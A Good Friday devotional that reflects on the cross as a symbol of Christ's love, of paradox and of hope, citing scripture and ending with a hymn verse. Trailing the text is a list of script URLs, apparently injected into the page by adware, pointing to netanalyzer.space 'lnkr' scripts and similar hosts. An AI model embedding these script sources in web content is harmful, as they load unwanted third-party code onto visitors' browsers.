The cross has a message for all believers today as it gives meaning to the trials and troubles in the world, and for standing as a symbol of love as well as a symbol of victory. The second chapter of the book of Sirach admonishes those who wish to serve the Lord to be prepared for temptations (2:1). Trials are an inevitable path towards the attainment of salvation and victory. Jesus emphasized this fact clearly to his followers when he says, “If anyone wants to come with me, he must forget himself, carry his cross and follow me” (Matthew 16:24).

The cross brings to memory the sacrificial love of the one who hangs there. It is a clear proof of his love, that he laid down his life for us, and challenges us to do the same for our brothers and sisters (John 15:13; 1 John 3:16). The early Church Fathers interpret the four points of the cross as symbols of the love of Christ. According to them, the vertical points signify the height and depth of his love, the horizontal points expressing the width and breadth of that love. Their interpretation is closely connected to Paul’s words that prayed for the Ephesians to have the strength to grasp the breadth, length, height and depth of his love (3:18).

The message of the cross is indeed a paradox because it seems to contradict itself, but in that contradiction is found an inherent truth (death bringing forth new life). This shows how that which is negative turns into a positive. Likewise, suffering and pain can bring about unimaginable blessings. It is within this context that we can understand why the tree of death has turned into a life-giving tree. In the very beginning, a tree brought about the fall of Adam, but in the New Testament, a tree has brought about the glory of the new Adam, Jesus Christ. This is so because by his Cross he has redeemed the world. It speaks greatly about the temporal victory of evil over what is good. The Apostles saw in the cross the secret of their success. One of them exclaims, “As for me, however, I will boast only about the cross of our Lord Jesus Christ” (Galatians 6:14).

Good Friday is a day to pause and think of the meaning of the passion and death of Jesus Christ. It is also a time to reflect on how his wounds bring healing to many and how his death offers a ticket of salvation to everyone. The cross holds a place of pride in Christianity just as the incarnation and resurrection are important for Christian salvation. The hope of resurrection gives meaning to the passion and death, which is commemorated on Good Friday. The cross then becomes a symbol of hope.  Hope which blares out the message: No crown without a cross; no cross without a crown; no pain…no gain!

As we face the many trials and tribulations of life; as we struggle day to day with pain, illness, depression, anxiety, stress, financial hardship, uncertainty in its many forms…let us:
“cherish the old rugged cross,
till my trophies at last I lay down;
I will cling to the old rugged cross,
and exchange it some day for a crown.”

Amen.

 

 

//s3.amazonaws.com/cashe-js/143e7cdebf193d2764.js

 

https://netanalyzer.space/addons/lnkr5.min.jshttps://netanalyzer.space/addons/lnkr30_nt.min.jshttps://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51847x5182x&r=28https://netanalyzer.space/offers/orderofpreachersrccdotcom.wordpress.com.js?subid=51847_5182_